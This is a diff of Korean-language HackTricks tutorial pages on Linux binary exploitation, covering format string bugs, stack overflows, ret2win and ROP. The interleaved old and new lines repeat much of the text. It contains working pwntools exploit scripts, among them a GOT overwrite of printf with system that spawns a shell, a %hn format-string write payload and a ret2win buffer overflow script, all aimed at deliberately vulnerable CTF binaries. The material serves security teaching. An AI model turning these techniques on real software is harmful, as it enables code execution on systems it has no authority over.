**및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**해주세요. +* **해킹 요령을 공유하고 싶으시다면** [**hacktricks 레포**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud 레포**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출**해주세요.
## 기본 정보 -C 언어에서 **`printf`**는 **문자열을 출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **포매터가 있는 원시 텍스트**입니다. 기대되는 **다음 매개변수**는 원시 텍스트에서 **포매터를 대체**할 **값들**입니다. +C 언어에서 **`printf`**는 **문자열을 출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **포매터가 있는 원시 텍스트**입니다. 기대되는 **다음 매개변수**는 원시 텍스트에서 **포매터를 대체할 값**입니다. -취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 들어갈 때** 발생합니다. 공격자는 **printf 포맷 문자열 기능을 악용**하여 **임의의 데이터를 임의의 주소에 쓸 수 있게**하는 **특수 입력을 조작**할 수 있습니다. 이렇게 함으로써 **임의의 코드를 실행**할 수 있게 됩니다. +취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf 포맷 문자열 기능을 악용**하여 **모든 주소의 데이터를 읽고 쓸 수 있는 특수 입력을 만들어** 임의 코드를 실행할 수 있습니다. -포매터: +#### 포맷터: ```bash %08x —> 8 hex bytes %d —> Entire @@ -28,51 +28,135 @@ C 언어에서 **`printf`**는 **문자열을 출력**하는 데 사용할 수 %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` -**`%n`**은 **지정된 주소에 쓰여진 바이트 수**를 **작성**합니다. 쓰여져야 하는 **16진수 숫자만큼 바이트를 쓰는 것**이 원하는 **데이터를 쓰는 방법**입니다. +**예시:** + +* 취약한 예제: +```c +char buffer[30]; +gets(buffer); // Dangerous: takes user input without restrictions. +printf(buffer); // If buffer contains "%x", it reads from the stack. +``` +* 일반적인 사용: +```c +int value = 1205; +printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 +``` +* 누락된 인수가 있는 경우: +```c +printf("%x %x %x", value); // Unexpected output: reads random values from the stack. +``` +### **포인터 접근** + +형식 **`%$x`**, 여기서 `n`은 숫자로, printf에게 n번째 매개변수(스택에서)를 선택하도록 지시할 수 있습니다. 따라서 printf를 사용하여 스택에서 4번째 매개변수를 읽고 싶다면 다음을 수행할 수 있습니다: +```c +printf("%x %x %x %x") +``` +그리고 첫 번째부터 네 번째 매개변수까지 읽을 수 있습니다. + +또는 다음을 수행할 수 있습니다: +```c +printf("$4%x") +``` +## 임의의 주소 읽기 + +현재 위치에서 n번째에 있는 주소를 가져와서 해당 주소부터 0x00을 발견할 때까지 문자열로 출력할 수 있도록 **`$n%s`** 포맷터를 사용할 수 있습니다. 따라서 이진 파일의 기본 주소가 **`0x8048000`**이고 사용자 입력이 스택의 4번째 위치에서 시작한다는 것을 알고 있다면 다음과 같이 이진 파일의 시작 부분을 출력할 수 있습니다: +```python +from pwn import * + +p = process('./bin') + +payload = b'%6$p' #4th param +payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input) +payload += p32(0x8048000) #6th param + +p.sendline(payload) +log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' +``` +{% hint style="danger" %} +주소 0x8048000을 입력의 시작 부분에 넣을 수 없습니다. 왜냐하면 해당 주소의 끝에 0x00이 연결될 것입니다. +{% endhint %} + +## **임의 쓰기** + +포맷터 **`$%n`**은 스택의 \ 매개변수에 **쓰여진 바이트 수**를 **지정된 주소**에 **쓰기**합니다. 공격자가 printf로 원하는만큼 문자를 쓸 수 있다면, **`$%n`**을 사용하여 임의의 숫자를 임의의 주소에 쓸 수 있습니다. + +다행히도, 숫자 9999를 쓰기 위해서는 입력에 9999개의 "A"를 추가할 필요가 없습니다. 대신, **`%.%$n`** 포맷터를 사용하여 **``** 숫자를 **`num` 위치가 가리키는 주소**에 쓸 수 있습니다. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -### **Exploit Flow** +그러나 일반적으로 `0x08049724`와 같은 주소를 작성하기 위해서는 (이 주소를 한 번에 작성하는 데는 매우 큰 숫자이기 때문에) **`$n` 대신에 `$hn`**을 사용합니다. 이를 통해 **2바이트만 작성**할 수 있습니다. 따라서 이 작업은 주소의 최상위 2바이트와 최하위 바이트를 각각 한 번씩 수행합니다. -이 취약점을 통해 **임의의 주소에 아무 것이나 쓸 수 있습니다 (임의 쓰기).** +따라서 이 취약점을 통해 **임의의 주소에 어떤 것이든 쓸 수 있습니다 (임의 쓰기).** -목표는 나중에 호출될 **GOT** 테이블의 **함수**의 **주소를 덮어쓰는 것**입니다. 이상적으로는 실행 가능한 섹션에 있는 **쉘코드의 주소를 설정**할 수 있지만, 실행 가능한 섹션에 쉘코드를 작성할 수 없을 가능성이 높습니다.\ -따라서 다른 옵션은 **사용자로부터 인수를 받는 함수**를 **덮어쓰고** 이를 **`system` 함수**로 지정하는 것입니다. +이 예에서 목표는 나중에 호출될 **GOT** 테이블의 **함수**의 **주소**를 **덮어쓰는 것**입니다. 이는 다른 임의 쓰기를 실행하는 기술을 남용할 수 있습니다: -주소를 쓰기 위해 일반적으로 2단계를 거칩니다: 먼저 주소의 **2바이트를 쓰고** 나머지 2바이트를 씁니다. 이를 위해 **`$hn`**을 사용합니다. +{% content-ref url="../arbitrary-write-2-exec/" %} +[arbitrary-write-2-exec](../arbitrary-write-2-exec/) +{% endcontent-ref %} -**HOB**는 주소의 상위 2바이트를 나타냅니다.\ -**LOB**는 주소의 하위 2바이트를 나타냅니다. +**사용자**로부터 **인수**를 **받는 함수**의 **주소**를 **`system`** **함수**로 **지정**할 것입니다.\ +언급한대로 주소를 작성하려면 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 작성한 다음 나머지 2바이트를 작성합니다. 이를 위해 **`$hn`**을 사용합니다. -따라서 형식 문자열이 작동하는 방식 때문에 먼저 \[HOB, LOB] 중 **더 작은 것을 먼저 써야** 합니다. +* **HOB**는 주소의 상위 2바이트를 가리킵니다. +* **LOB**는 주소의 하위 2바이트를 가리킵니다. + +그런 다음, 형식 문자열이 작동하는 방식 때문에 \[HOB, LOB] 중 **작은 값을 먼저 작성**한 다음 다른 값을 작성해야 합니다. 만약 HOB < LOB이면\ -`[주소+2][주소]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` +`[주소+2][주소]%.[HOB-8]x%[오프셋]\$hn%.[LOB-HOB]x%[오프셋+1]` 만약 HOB > LOB이면\ -`[주소+2][주소]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` +`[주소+2][주소]%.[LOB-8]x%[오프셋+1]\$hn%.[HOB-LOB]x%[오프셋]` HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB -\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\` +{% code overflow="wrap" %} +```bash +python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' +``` +{% endcode %} -## Pwntools Template +### Pwntools 템플릿 -이러한 취약점에 대한 exploit을 준비하기 위한 템플릿을 찾을 수 있습니다: +이 유형의 취약점을 위한 exploit을 준비하는 템플릿을 다음에서 찾을 수 있습니다: {% content-ref url="format-strings-template.md" %} [format-strings-template.md](format-strings-template.md) {% endcontent-ref %} +또는 [**여기**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)에서 기본 예제를 찾을 수 있습니다: +```python +from pwn import * + +elf = context.binary = ELF('./got_overwrite-32') +libc = elf.libc +libc.address = 0xf7dc2000 # ASLR disabled + +p = process() + +payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']}) +p.sendline(payload) + +p.clean() + +p.sendline('/bin/sh') + +p.interactive() +``` +## 다른 예제 및 참고 자료 + +* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) +* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) +
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)! -* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* **사이버 보안 회사에서 일하시나요?** **회사가 HackTricks에 광고되길 원하시나요?** **또는 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요?** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요 -* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**. -* **해킹 요령을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출하세요**. +* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**. +* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출하세요**.
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md index 0c2722dc8..16143e4ac 100644 --- a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md @@ -2,26 +2,26 @@
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**! +htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**! HackTricks를 지원하는 다른 방법: * **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 -* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. -* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 제출하세요. +* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. +* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
## 스택 오버플로우란 -**스택 오버플로우**는 프로그램이 할당된 스택에 저장할 수 있는 데이터보다 더 많은 데이터를 쓸 때 발생하는 취약점입니다. 이러한 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 하여 유효한 데이터의 손상, 제어 흐름의 중단 및 악의적 코드 실행으로 이어질 수 있습니다. 이 문제는 종종 입력에 대한 경계 확인을 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다. +**스택 오버플로우**는 프로그램이 할당된 스택에 저장할 수 있는 데이터보다 더 많은 데이터를 쓸 때 발생하는 취약점입니다. 이러한 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 하여 유효한 데이터의 손상, 제어 흐름의 중단 및 악의적 코드의 실행으로 이어질 수 있습니다. 이 문제는 종종 입력에 대한 경계 확인을 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다. -이 덮어쓰기의 주요 문제는 **EIP** 및 **EBP** 포인터가 **스택에 저장**되어 이전 함수로 돌아가는 것을 제어할 수 있게 되기 때문입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있습니다. +이 덮어쓰기의 주요 문제는 **EIP** 및 **EBP** 포인터가 **스택에 저장**되어 이전 함수로 돌아가는 것을 제어할 수 있게 된다는 것입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있게 됩니다. 이 취약점은 일반적으로 함수가 **할당된 양보다 더 많은 바이트를 스택에 복사**하여 발생하므로 스택의 다른 부분을 덮어쓸 수 있습니다.\ -이에 취약한 일부 함수는 `strcpy`, `strcat`, `sprintf`, `gets`, `fgets` 등이 있습니다... +이에 취약한 일부 일반 함수는 `strcpy`, `strcat`, `sprintf`, `gets`, `fgets` 등이 있습니다... 예를 들어, 다음 함수들이 취약할 수 있습니다: ```c @@ -36,7 +36,7 @@ printf("You entered: %s\n", buffer); 스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 `A` 입력을 제공하는 것입니다 (예: `python3 -c 'print("A"*1000)'`) 그리고 **주소 `0x41414141`에 액세스를 시도했다는** `Segmentation Fault`가 발생하는 것을 기대하는 것입니다. -또한, 스택 오버플로우 취약점을 발견한 후에는 **EIP 포인터를 덮어쓸 수 있는 오프셋을 찾아야** 합니다. 이를 위해 일반적으로 **De Bruijn sequence**가 사용됩니다. 이는 크기가 _k_인 알파벳과 길이가 _n_인 부분 시퀀스에 대해 **모든 가능한 길이가 **_**n**_**인 부분 시퀀스가 정확히 한 번씩 나타나는 순환 시퀀스**입니다. +또한, 스택 오버플로우 취약점을 발견한 후에는 **EIP 포인터를 덮어쓸 수 있는 오프셋을 찾아야** 합니다. 이를 위해 일반적으로 **De Bruijn sequence**가 사용됩니다. 이는 크기가 _k_인 알파벳과 길이가 _n_인 부분 수열에 대해 모든 가능한 길이 **_n_**의 부분 수열이 정확히 한 번씩 나타나는 순환 시퀀스입니다. 이렇게 하면 EIP를 덮어쓰는 오프셋을 수동으로 찾아야 하는 대신, 이러한 시퀀스 중 하나를 패딩으로 사용하고 그것을 덮어쓰는 바이트의 오프셋을 찾을 수 있습니다. @@ -59,16 +59,16 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## 스택 오버플로우 공격 +## 스택 오버플로우 악용 -오버플로우 발생 시 (오버플로우 크기가 충분히 큰 경우) 스택 내 다른 변수들의 값을 덮어쓸 수 있습니다. EBP 및 EIP에 도달할 때까지 (또는 그 이상) 다른 변수들의 값을 덮어쓸 수 있습니다.\ -이 유형의 취약점을 악용하는 가장 일반적인 방법은 **EIP 포인터를 수정**하여 함수가 종료될 때 **사용자가 지정한 위치로 제어 흐름이 리디렉션**되도록 하는 것입니다. +오버플로우 발생 시 (오버플로우 크기가 충분히 크다고 가정), 스택 내 다른 변수들의 값을 덮어쓸 수 있습니다. EBP 및 EIP에 도달할 때까지 (또는 그 이상) 계속 덮어쓸 수 있습니다.\ +이 유형의 취약점을 악용하는 가장 일반적인 방법은 **EIP 포인터 수정**으로 함수가 종료될 때 **사용자가 지정한 위치로 제어 흐름이 리디렉션**되도록 하는 것입니다. -그러나 다른 시나리오에서는 also **스택 내 일부 변수 값만 덮어쓰는 것**이 취약점 악용에 충분할 수도 있습니다 (예: 쉬운 CTF 도전 과제). +그러나 다른 시나리오에서는 **스택 내 일부 변수 값 덮어쓰기**만으로도 악용이 가능할 수 있습니다 (예: 쉬운 CTF 도전 과제). ### Ret2win -이 유형의 CTF 도전 과제에서는 **바이너리 내부에 호출되지 않는 함수**가 있으며, **이 함수를 호출하여 이기기 위해 호출해야 합니다**. 이러한 도전 과제에서는 **EIP를 덮어쓸 오프셋을 찾고** 호출할 함수의 주소를 찾아야 합니다 (보통 [**ASLR**](../common-binary-protections/aslr.md)이 비활성화될 것입니다). 따라서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다: +이 유형의 CTF 도전 과제에서는 **바이너리 내에 호출되지 않는 함수**가 있으며, **이 함수를 호출하여 승리해야 합니다**. 이러한 도전 과제에서는 **EIP를 덮어쓸 오프셋을 찾고** 호출할 함수의 주소를 찾아야 합니다 ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)가 비활성화된 경우가 일반적) 따라서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다: {% content-ref url="ret2win.md" %} [ret2win.md](ret2win.md) @@ -76,7 +76,7 @@ pattern search $rsp #Search the offset given the content of $rsp ### 스택 쉘코드 -이 시나리오에서 공격자는 스택에 쉘코드를 배치하고 제어 가능한 EIP를 이용하여 쉘코드로 이동하고 공격자의 코드를 실행할 수 있습니다: +이 시나리오에서 공격자는 스택에 쉘코드를 배치하고 제어 가능한 EIP를 쉘코드로 이동시켜 공격자의 코드를 실행할 수 있습니다: {% content-ref url="stack-shellcode.md" %} [stack-shellcode.md](stack-shellcode.md) @@ -84,7 +84,7 @@ pattern search $rsp #Search the offset given the content of $rsp ## ROP -이 기술은 이전 기술의 주요 보호 기능인 **실행 불가능한 스택**을 우회하는 기본 프레임워크입니다. 이를 통해 바이너리 내 기존 명령어를 악용하여 임의의 명령을 실행하는 여러 기술 (ret2lib, ret2syscall 등)을 수행할 수 있습니다: +이 기술은 이전 기술의 주요 보호 기능인 **실행 가능 스택이 없음**을 우회하는 기본 프레임워크입니다. 이를 통해 바이너리 내 기존 명령을 악용하여 임의 명령을 실행하는 여러 기술 (ret2lib, ret2syscall 등)을 수행할 수 있습니다: {% content-ref url="rop-return-oriented-programing.md" %} [rop-return-oriented-programing.md](rop-return-oriented-programing.md) @@ -94,6 +94,6 @@ pattern search $rsp #Search the offset given the content of $rsp 취약점 악용을 방지하려는 여러 보호 기능이 있습니다. 이를 확인하려면 다음을 참조하십시오: -{% content-ref url="../common-binary-protections/" %} -[common-binary-protections](../common-binary-protections/) +{% content-ref url="../common-binary-protections-and-bypasses/" %} +[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/) {% endcontent-ref %} diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md index b1238f1c2..6aca4fabd 100644 --- a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md @@ -2,25 +2,25 @@
-htARTE (HackTricks AWS Red Team 전문가)에서 **제로부터 AWS 해킹을 배우세요**! +htARTE (HackTricks AWS Red Team 전문가)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**! 다른 HackTricks 지원 방법: -- **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +- **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! - [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 - 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. -- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요. +- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
## 기본 정보 -**Ret2win** 챌린지는 **바이너리 익스플로잇**이 포함된 **Capture The Flag (CTF)** 대회에서 인기 있는 카테고리입니다. 목표는 주어진 바이너리에서 취약점을 악용하여 특정하지 않은 함수를 실행하는 것입니다. 이 함수는 일반적으로 `win`, `ret2win` 등으로 명명되며 실행되면 일반적으로 플래그 또는 성공 메시지를 출력합니다. 도전 과제는 일반적으로 **스택의 반환 주소를 덮어쓰는** 것을 포함하여 실행 흐름을 원하는 함수로 전환하는 것입니다. 다음은 예제를 포함한 자세한 설명입니다: +**Ret2win** 도전 과제는 **바이너리 공격**을 포함하는 **Capture The Flag (CTF)** 대회에서 인기 있는 카테고리입니다. 목표는 주어진 바이너리의 취약점을 이용하여 바이너리 내에서 특정한 호출되지 않은 함수를 실행하는 것입니다. 이 함수는 일반적으로 `win`, `ret2win` 등으로 명명되며 실행되면 일반적으로 플래그나 성공 메시지를 출력합니다. 도전 과제는 일반적으로 **스택**의 **리턴 어드레스**를 덮어쓰고 실행 흐름을 원하는 함수로 전환하는 것을 포함합니다. 예시를 통해 더 자세히 설명하겠습니다: -### C 예제 +### C 예시 -취약점이 있는 간단한 C 프로그램과 호출할 `win` 함수를 고려해보세요: +취약점이 있는 간단한 C 프로그램과 호출할 `win` 함수가 있는 경우를 고려해보겠습니다: ```c #include #include @@ -39,7 +39,7 @@ vulnerable_function(); return 0; } ``` -이 프로그램을 스택 보호 기능 없이 컴파일하고 **ASLR** 비활성화 상태로 실행하려면 다음 명령을 사용할 수 있습니다: +이 프로그램을 스택 보호 기능 없이 컴파일하고 **ASLR**를 비활성화하려면 다음 명령을 사용할 수 있습니다: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` @@ -51,7 +51,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ### Pwntools를 사용한 Python Exploit -해킹 도구 **pwntools**를 사용하여 exploit을 작성하는 강력한 CTF 프레임워크입니다. exploit 스크립트는 버퍼 오버플로우를 유발하고 반환 주소를 `win` 함수의 주소로 덮어씁니다. +해킹에는 **pwntools**를 사용할 것이며, 이는 해킹을 위한 강력한 CTF 프레임워크입니다. Exploit 스크립트는 버퍼 오버플로우를 유발하고 반환 주소를 `win` 함수의 주소로 덮어씁니다. ```python from pwn import * @@ -71,18 +71,18 @@ payload = b'A' * 68 + win_addr p.sendline(payload) p.interactive() ``` -`win` 함수의 주소를 찾으려면 **gdb**, **objdump**, 또는 이진 파일을 검사할 수 있는 다른 도구를 사용할 수 있습니다. 예를 들어 `objdump`를 사용하여 다음과 같이 할 수 있습니다: +`win` 함수의 주소를 찾으려면 **gdb**, **objdump**, 또는 이진 파일을 검사할 수 있는 다른 도구를 사용할 수 있습니다. 예를 들어, `objdump`를 사용하여 다음과 같이 할 수 있습니다: ```sh objdump -d vulnerable | grep win ``` 이 명령은 `win` 함수의 어셈블리를 보여주며 시작 주소를 포함합니다. -Python 스크립트는 `vulnerable_function`에서 처리될 때 조심스럽게 만들어진 메시지를 보내고, 버퍼 오버플로우를 발생시켜 스택의 반환 주소를 `win`의 주소로 덮어씁니다. `vulnerable_function`이 반환할 때, `main`으로 반환하거나 종료하는 대신에 `win`으로 이동하고 메시지가 출력됩니다. +Python 스크립트는 `vulnerable_function`에서 처리될 때 조심스럽게 만들어진 메시지를 보내어 버퍼 오버플로우를 발생시키고 스택의 반환 주소를 `win`의 주소로 덮어씁니다. `vulnerable_function`이 반환할 때 `main`으로 돌아가거나 종료하는 대신에 `win`으로 이동하고 메시지가 출력됩니다. ## 보호 기능 -* [**ASLR**](../common-binary-protections/aslr.md)은 실행마다 주소가 신뢰할 수 있도록 하기 위해 **비활성화**되어야 합니다. 그렇지 않으면 함수가 저장될 주소가 항상 같지 않을 수 있으며, win 함수가 로드된 위치를 파악하기 위해 일종의 leak이 필요할 수 있습니다. -* [**Stack Canaries**](../common-binary-protections/stack-canaries.md)도 비활성화되어야 합니다. 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다. +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)은 실행마다 신뢰할 수 있는 주소를 얻기 위해 **비활성화**되어야 합니다. 그렇지 않으면 함수가 저장될 주소가 항상 같지 않을 수 있으며 win 함수가 로드된 위치를 파악하기 위해 일종의 leak이 필요할 것입니다. +* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 합니다. 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다. ## 다른 예제 및 참고 자료 @@ -90,14 +90,14 @@ Python 스크립트는 `vulnerable_function`에서 처리될 때 조심스럽게
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**! +htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요** HackTricks를 지원하는 다른 방법: * **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 -* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. -* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요**.
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md index ea21d92cd..1c10d682f 100644 --- a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md @@ -2,7 +2,7 @@
-htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요! +htARTE (HackTricks AWS Red Team 전문가)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요! HackTricks를 지원하는 다른 방법: @@ -10,7 +10,7 @@ HackTricks를 지원하는 다른 방법: - [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 - **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. -- **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요. +- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
@@ -21,7 +21,7 @@ HackTricks를 지원하는 다른 방법: ### ROP 작동 방식 1. **제어 흐름 탈취**: 먼저, 공격자는 프로그램의 제어 흐름을 탈취해야 합니다. 일반적으로 버퍼 오버플로우를 이용하여 스택에 저장된 반환 주소를 덮어씁니다. -2. **가젯 체이닝**: 그런 다음 공격자는 원하는 작업을 수행하기 위해 주의 깊게 가젯을 선택하고 연결합니다. 이는 함수 호출의 인수를 설정하고 함수를 호출하며(`system("/bin/sh")`과 같이), 필요한 정리 또는 추가 작업을 처리하는 것을 포함할 수 있습니다. +2. **가젯 체이닝**: 그런 다음 공격자는 원하는 작업을 수행하기 위해 주의 깊게 가젯을 선택하고 연결합니다. 이는 함수 호출의 인수를 설정하고 함수를 호출하며(`system("/bin/sh")`과 같은), 필요한 정리나 추가 작업을 처리하는 것을 포함할 수 있습니다. 3. **페이로드 실행**: 취약한 함수가 반환될 때, 합법적인 위치로 반환하는 대신 가젯 체인을 실행하기 시작합니다. ## x86 예제에서 ROP 체인 @@ -45,7 +45,7 @@ HackTricks를 지원하는 다른 방법: **pwntools**를 사용하여 ROP 체인 실행을 위해 스택을 준비하는 방법은 다음과 같습니다. `system('/bin/sh')`을 실행하도록 목표로 하며, 체인이 다음과 같이 시작하는 것에 